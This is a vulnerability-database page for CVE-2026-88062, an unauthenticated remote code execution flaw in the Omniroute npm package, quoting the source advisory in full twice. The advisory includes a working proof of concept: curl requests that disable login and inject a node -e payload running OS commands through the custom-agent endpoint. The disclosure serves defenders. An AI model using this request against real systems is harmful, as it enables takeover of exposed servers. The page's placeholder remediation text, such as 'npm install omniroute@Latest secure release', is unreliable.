CVE-2026-88062: Omniroute Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-hf57-cqmx-p4gr
CWE-94 CWE-306
Published
Advisory Summary

CVE-2026-88062 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Omniroute libraries in the npm ecosystem. The issue involves omniroute acp custom-agent remote code execution (rce). Remediation is available in the latest vendor maintenance releases.

CVE-2026-88062 at a Glance

CVE Identifier CVE-2026-88062
GHSA Identifier GHSA-hf57-cqmx-p4gr
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Omniroute
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-88062

To remediate this vulnerability, upgrade all affected Omniroute dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

omniroute fixed: Latest secure release
npm install omniroute@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls omniroute

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-88062, inspect your project dependencies using npm:

npm ls omniroute

Analyze the terminal output to locate any version of Omniroute in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls omniroute command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Omniroute, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## 2. Summary `POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled `binary` and `versionCommand` values. After saving the custom agent, the same request calls `refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs: ```ts execFileSync(probe.command, probe.args, ...) ``` The only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the first token of `versionCommand` matches the request-provided `binary`. Because `binary` is also attacker-controlled, an attacker can submit: ```json { "binary": "node", "versionCommand": "node -e \"...arbitrary JavaScript...\"" } ``` This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via `child_process.execSync()`. When `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the same time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request. ## 3. Preconditions The unauthenticated exploit is reachable in either of the following scenarios: 1. The target instance has `requireLogin=false`. This is the primary scenario covered by this report and by the reproduction steps below. 2. A fresh instance has no management password configured yet. During this bootstrap window, `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set `requireLogin=false` and then call the vulnerable endpoint. If the instance is in the default `requireLogin=true` state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here. ## 4. Technical Analysis ### 4.1 The Endpoint Accepts User-Controlled Command Fields `src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`, `versionCommand`, and `spawnArgs`: ```ts const customAgentBodySchema = z.object({ action: z.string().optional(), id: z.string().optional(), name: z.string().optional(), binary: z.string().optional(), versionCommand: z.string().optional(), providerAlias: z.string().optional(), spawnArgs: z.array(z.string()).optional(), protocol: z.enum(["stdio", "http"]).optional(), }); ``` The `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`: ```ts export async function POST(request: Request) { if (!(await isAuthenticated(request))) { return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); } ``` The handler then stores `binary` and `versionCommand` in the custom agent definition without an executable allowlist: ```ts const newAgent: CustomAgentDef = { id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"), name, binary, versionCommand, providerAlias: providerAlias || id, spawnArgs: spawnArgs || [], protocol: protocol || "stdio", }; ``` This logic is in `src/app/api/acp/agents/route.ts:92-100`. ### 4.2 The Only Guard Is a Self-Consistency Check The only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`: ```ts if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) { return NextResponse.json( { error: "Invalid versionCommand: use the configured binary with plain arguments only" }, { status: 400 } ); } ``` The core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`: ```ts export function resolveVersionProbe( binary: string, versionCommand: string, requireBinaryMatch = false ): { command: string; args: string[] } | null { const tokens = tokenizeVersionCommand(versionCommand); if (!tokens) { return null; } const [command, ...args] = tokens; if (!command) { return null; } if (requireBinaryMatch) { const normalizedCommand = normalizeCommandToken(command); const allowed = new Set([ normalizeCommandToken(binary), normalizeCommandToken(path.basename(binary)), ]); if (!allowed.has(normalizedCommand)) { return null; } } return { command, args }; } ``` This check only requires the first token of `versionCommand` to equal `binary` or `path.basename(binary)`. Since `binary` is also attacker-controlled, `binary="node"` and `versionCommand="node -e \"...\""` pass validation. `tokenizeVersionCommand()` only blocks a small set of shell metacharacters (`src/lib/acp/registry.ts:183-254`): ```ts const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/; ``` This does not prevent `node -e` code execution, because characters needed for the payload, such as `(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed. ### 4.3 The Same Request Immediately Triggers Command Execution After saving the custom agent, the route calls `refreshAgentCache()` at `src/app/api/acp/agents/route.ts:121-127`: ```ts const updated = [...current, newAgent]; await updateSettings({ customAgents: updated }); setCustomAgents(updated); const agents = refreshAgentCache(); return NextResponse.json({ agents, added: newAgent }); ``` `refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`: ```ts export function refreshAgentCache(): CliAgentInfo[] { _cachedAgents = null; return detectInstalledAgents(); } ``` `detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one (`src/lib/acp/registry.ts:342-360`): ```ts const allDefs = [ ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })), ..._customAgentDefs.map((d) => ({ ...d, _custom: true })), ]; _cachedAgents = allDefs.map((def) => { const { _custom, ...rest } = def; return detectAgent(rest, _custom); }); ``` The command execution sink is at `src/lib/acp/registry.ts:307-325`: ```ts const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom); if (!probe) { return { ...def, version, installed, isCustom }; } const output = execFileSync(probe.command, probe.args, { timeout: 5000, encoding: "utf-8", stdio: ["pipe", "pipe", "pipe"], ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}), }).trim(); ``` On Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms (`src/lib/acp/registry.ts:290-301`): ```ts export function shouldUseShellForVersionProbe( command: string, platform = process.platform ): boolean { if (platform !== "win32") return false; ... } ``` Therefore the effective execution is `execFileSync("node", ["-e", "..."])`. No shell metacharacters are required. ### 4.4 Why This Is Unauthenticated `isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`: ```ts export async function isAuthenticated(request: Request): Promise<boolean> { if (!(await isAuthRequired(request))) { return true; } ... } ``` `isAuthRequired()` returns `false` when `requireLogin=false` (`src/shared/utils/apiAuth.ts:317-323`): ```ts const settings = await getSettings(); if (settings.requireLogin === false) return false; ``` The centralized management policy also has the same anonymous allow branch at `src/server/authz/policies/management.ts:223-226`: ```ts if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) { return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" }); } ``` Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first. `src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`, `/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but it does not include `/api/acp/`: ```ts export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [ "/api/mcp/", "/api/cli-tools/runtime/", "/api/services/", "/dashboard/providers/services/", "/api/copilot/", "/api/tools/agent-bridge/", "/api/tools/traffic-inspector/", "/api/plugins/", "/api/plugins", "/api/system/version", "/api/db-backups/exportAll", "/api/local/", "/api/headroom/start", "/api/headroom/stop", "/api/oauth/cursor/auto-import", ]; ``` `SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/` (`src/shared/constants/spawnCapablePrefixes.ts:26-35`). This means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead of being rejected by the LOCAL_ONLY gate. ## 5. Reproduction Environment The issue can be reproduced in a local Docker environment: - OmniRoute image: `diegosouzapw/omniroute:latest` - Exposed port: `20128` - Container data directory: `/app/data` - PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to `/app/data/UNAUTH_RCE_PROOF.txt` ## 6. Reproduction Steps ### 6.1 Start a Test Instance ```bash JWT=$(openssl rand -base64 48) AKS=$(openssl rand -hex 32) docker network create omniroute-poc-net docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine docker run -d --name omniroute-poc --network omniroute-poc-net \ -p 20128:20128 -p 20129:20129 \ -e JWT_SECRET="$JWT" \ -e API_KEY_SECRET="$AKS" \ -e REDIS_URL="redis://omniroute-poc-redis:6379" \ diegosouzapw/omniroute:latest ``` Wait for startup: ```bash until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \ curl -sf http://localhost:20128/ >/dev/null 2>&1; do sleep 2 done ``` ### 6.2 Put the Instance in the Login-Disabled State This step models a self-hosted instance where dashboard login has been disabled: ```bash curl -s -X POST "http://localhost:20128/api/settings/require-login" \ -H "content-type: application/json" \ -d '{"requireLogin":false}' ``` If the target is already in `requireLogin=false`, this step is not needed. ### 6.3 Trigger RCE Anonymously The following request sends no cookie and no Bearer token: ```bash curl -s -X POST "http://localhost:20128/api/acp/agents" \ -H "content-type: application/json" \ -d '{ "id":"anonrce", "name":"anonrce", "binary":"node", "protocol":"stdio", "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\"" }' ``` ### 6.4 Verify Command Execution ```bash docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt ``` Expected output is similar to: ```text uid=1000(node) gid=1000(node) groups=1000(node) Linux <container-id> <kernel-version> ... <arch> GNU/Linux ``` This proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute container. <img width="2123" height="1195" alt="image" src="https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f" />

CVE-2026-88062 Affected Omniroute Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
omniroute
npm
≤ 3.8.50

References

Frequently Asked Questions

What is CVE-2026-88062?
CVE-2026-88062 is a security vulnerability in Omniroute involving OmniRoute ACP Custom-Agent Remote Code Execution (RCE) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Omniroute versions are affected?
Affected versions include releases prior to current release patches across affected packages: omniroute.
What version fixes CVE-2026-88062?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is omniroute affected?
Yes, omniroute is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-88062?
CVE-2026-88062 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-88062?
Run the dependency tree command: 'npm ls omniroute'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hf57-cqmx-p4gr",
  "modified" : "2026-09-10T21:22:12Z",
  "published" : "2026-09-10T21:22:12Z",
  "aliases" : [ "CVE-2026-88062" ],
  "summary" : " OmniRoute ACP Custom-Agent Remote Code Execution (RCE)",
  "details" : "## 2. Summary\n\n`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled\n`binary` and `versionCommand` values. After saving the custom agent, the same request calls\n`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:\n\n```ts\nexecFileSync(probe.command, probe.args, ...)\n```\n\nThe only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the\nfirst token of `versionCommand` matches the request-provided `binary`. Because `binary` is also\nattacker-controlled, an attacker can submit:\n\n```json\n{\n  \"binary\": \"node\",\n  \"versionCommand\": \"node -e \\\"...arbitrary JavaScript...\\\"\"\n}\n```\n\nThis executes arbitrary Node.js code inside the server container, and that code can execute OS\ncommands via `child_process.execSync()`.\n\nWhen `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the\nsame time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so\nthe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.\nAs a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a\nsingle HTTP request.\n\n## 3. Preconditions\n\nThe unauthenticated exploit is reachable in either of the following scenarios:\n\n1. The target instance has `requireLogin=false`. This is the primary scenario covered by this\n   report and by the reproduction steps below.\n2. A fresh instance has no management password configured yet. During this bootstrap window,\n   `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set\n   `requireLogin=false` and then call the vulnerable endpoint.\n\nIf the instance is in the default `requireLogin=true` state and already has a management password,\nexploitation requires a valid management session or management-scoped API key. In that case, the\nbug is authenticated RCE rather than the unauthenticated scenario emphasized here.\n\n## 4. Technical Analysis\n\n### 4.1 The Endpoint Accepts User-Controlled Command Fields\n\n`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,\n`versionCommand`, and `spawnArgs`:\n\n```ts\nconst customAgentBodySchema = z.object({\n  action: z.string().optional(),\n  id: z.string().optional(),\n  name: z.string().optional(),\n  binary: z.string().optional(),\n  versionCommand: z.string().optional(),\n  providerAlias: z.string().optional(),\n  spawnArgs: z.array(z.string()).optional(),\n  protocol: z.enum([\"stdio\", \"http\"]).optional(),\n});\n```\n\nThe `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:\n\n```ts\nexport async function POST(request: Request) {\n  if (!(await isAuthenticated(request))) {\n    return NextResponse.json({ error: \"Unauthorized\" }, { status: 401 });\n  }\n```\n\nThe handler then stores `binary` and `versionCommand` in the custom agent definition without an\nexecutable allowlist:\n\n```ts\nconst newAgent: CustomAgentDef = {\n  id: id.toLowerCase().replace(/[^a-z0-9-]/g, \"-\"),\n  name,\n  binary,\n  versionCommand,\n  providerAlias: providerAlias || id,\n  spawnArgs: spawnArgs || [],\n  protocol: protocol || \"stdio\",\n};\n```\n\nThis logic is in `src/app/api/acp/agents/route.ts:92-100`.\n\n### 4.2 The Only Guard Is a Self-Consistency Check\n\nThe only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:\n\n```ts\nif (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {\n  return NextResponse.json(\n    { error: \"Invalid versionCommand: use the configured binary with plain arguments only\" },\n    { status: 400 }\n  );\n}\n```\n\nThe core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:\n\n```ts\nexport function resolveVersionProbe(\n  binary: string,\n  versionCommand: string,\n  requireBinaryMatch = false\n): { command: string; args: string[] } | null {\n  const tokens = tokenizeVersionCommand(versionCommand);\n  if (!tokens) {\n    return null;\n  }\n\n  const [command, ...args] = tokens;\n  if (!command) {\n    return null;\n  }\n\n  if (requireBinaryMatch) {\n    const normalizedCommand = normalizeCommandToken(command);\n    const allowed = new Set([\n      normalizeCommandToken(binary),\n      normalizeCommandToken(path.basename(binary)),\n    ]);\n    if (!allowed.has(normalizedCommand)) {\n      return null;\n    }\n  }\n\n  return { command, args };\n}\n```\n\nThis check only requires the first token of `versionCommand` to equal `binary` or\n`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary=\"node\"` and\n`versionCommand=\"node -e \\\"...\\\"\"` pass validation.\n\n`tokenizeVersionCommand()` only blocks a small set of shell metacharacters\n(`src/lib/acp/registry.ts:183-254`):\n\n```ts\nconst DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\\r\\n]/;\n```\n\nThis does not prevent `node -e` code execution, because characters needed for the payload, such as\n`(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed.\n\n### 4.3 The Same Request Immediately Triggers Command Execution\n\nAfter saving the custom agent, the route calls `refreshAgentCache()` at\n`src/app/api/acp/agents/route.ts:121-127`:\n\n```ts\nconst updated = [...current, newAgent];\nawait updateSettings({ customAgents: updated });\nsetCustomAgents(updated);\n\nconst agents = refreshAgentCache();\nreturn NextResponse.json({ agents, added: newAgent });\n```\n\n`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:\n\n```ts\nexport function refreshAgentCache(): CliAgentInfo[] {\n  _cachedAgents = null;\n  return detectInstalledAgents();\n}\n```\n\n`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one\n(`src/lib/acp/registry.ts:342-360`):\n\n```ts\nconst allDefs = [\n  ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),\n  ..._customAgentDefs.map((d) => ({ ...d, _custom: true })),\n];\n\n_cachedAgents = allDefs.map((def) => {\n  const { _custom, ...rest } = def;\n  return detectAgent(rest, _custom);\n});\n```\n\nThe command execution sink is at `src/lib/acp/registry.ts:307-325`:\n\n```ts\nconst probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);\nif (!probe) {\n  return { ...def, version, installed, isCustom };\n}\n\nconst output = execFileSync(probe.command, probe.args, {\n  timeout: 5000,\n  encoding: \"utf-8\",\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),\n}).trim();\n```\n\nOn Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms\n(`src/lib/acp/registry.ts:290-301`):\n\n```ts\nexport function shouldUseShellForVersionProbe(\n  command: string,\n  platform = process.platform\n): boolean {\n  if (platform !== \"win32\") return false;\n  ...\n}\n```\n\nTherefore the effective execution is `execFileSync(\"node\", [\"-e\", \"...\"])`. No shell\nmetacharacters are required.\n\n### 4.4 Why This Is Unauthenticated\n\n`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:\n\n```ts\nexport async function isAuthenticated(request: Request): Promise<boolean> {\n  if (!(await isAuthRequired(request))) {\n    return true;\n  }\n  ...\n}\n```\n\n`isAuthRequired()` returns `false` when `requireLogin=false`\n(`src/shared/utils/apiAuth.ts:317-323`):\n\n```ts\nconst settings = await getSettings();\nif (settings.requireLogin === false) return false;\n```\n\nThe centralized management policy also has the same anonymous allow branch at\n`src/server/authz/policies/management.ts:223-226`:\n\n```ts\nif (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {\n  return allow({ kind: \"anonymous\", id: \"anonymous\", label: \"auth-disabled\" });\n}\n```\n\nRoutes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.\n`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,\n`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but\nit does not include `/api/acp/`:\n\n```ts\nexport const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [\n  \"/api/mcp/\",\n  \"/api/cli-tools/runtime/\",\n  \"/api/services/\",\n  \"/dashboard/providers/services/\",\n  \"/api/copilot/\",\n  \"/api/tools/agent-bridge/\",\n  \"/api/tools/traffic-inspector/\",\n  \"/api/plugins/\",\n  \"/api/plugins\",\n  \"/api/system/version\",\n  \"/api/db-backups/exportAll\",\n  \"/api/local/\",\n  \"/api/headroom/start\",\n  \"/api/headroom/stop\",\n  \"/api/oauth/cursor/auto-import\",\n];\n```\n\n`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`\n(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).\n\nThis means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead\nof being rejected by the LOCAL_ONLY gate.\n\n## 5. Reproduction Environment\n\nThe issue can be reproduced in a local Docker environment:\n\n- OmniRoute image: `diegosouzapw/omniroute:latest`\n- Exposed port: `20128`\n- Container data directory: `/app/data`\n- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to\n  `/app/data/UNAUTH_RCE_PROOF.txt`\n\n## 6. Reproduction Steps\n\n### 6.1 Start a Test Instance\n\n```bash\nJWT=$(openssl rand -base64 48)\nAKS=$(openssl rand -hex 32)\n\ndocker network create omniroute-poc-net\ndocker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine\ndocker run -d --name omniroute-poc --network omniroute-poc-net \\\n  -p 20128:20128 -p 20129:20129 \\\n  -e JWT_SECRET=\"$JWT\" \\\n  -e API_KEY_SECRET=\"$AKS\" \\\n  -e REDIS_URL=\"redis://omniroute-poc-redis:6379\" \\\n  diegosouzapw/omniroute:latest\n```\n\nWait for startup:\n\n```bash\nuntil curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \\\n      curl -sf http://localhost:20128/ >/dev/null 2>&1; do\n  sleep 2\ndone\n```\n\n### 6.2 Put the Instance in the Login-Disabled State\n\nThis step models a self-hosted instance where dashboard login has been disabled:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/settings/require-login\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\"requireLogin\":false}'\n```\n\nIf the target is already in `requireLogin=false`, this step is not needed.\n\n### 6.3 Trigger RCE Anonymously\n\nThe following request sends no cookie and no Bearer token:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/acp/agents\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\n    \"id\":\"anonrce\",\n    \"name\":\"anonrce\",\n    \"binary\":\"node\",\n    \"protocol\":\"stdio\",\n    \"versionCommand\":\"node -e \\\"require('\\''fs'\\'').writeFileSync('\\''/app/data/UNAUTH_RCE_PROOF.txt'\\'',require('\\''child_process'\\'').execSync('\\''id'\\'').toString()+require('\\''child_process'\\'').execSync('\\''uname -a'\\'').toString())\\\"\"\n  }'\n```\n\n### 6.4 Verify Command Execution\n\n```bash\ndocker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt\n```\n\nExpected output is similar to:\n\n```text\nuid=1000(node) gid=1000(node) groups=1000(node)\nLinux <container-id> <kernel-version> ... <arch> GNU/Linux\n```\n\nThis proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute\ncontainer.\n\n<img width=\"2123\" height=\"1195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f\" />",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "omniroute"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.8.50"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/diegosouzapw/OmniRoute/pull/11028"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/diegosouzapw/OmniRoute"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-10T21:22:12Z",
    "nvd_published_at" : null
  }
}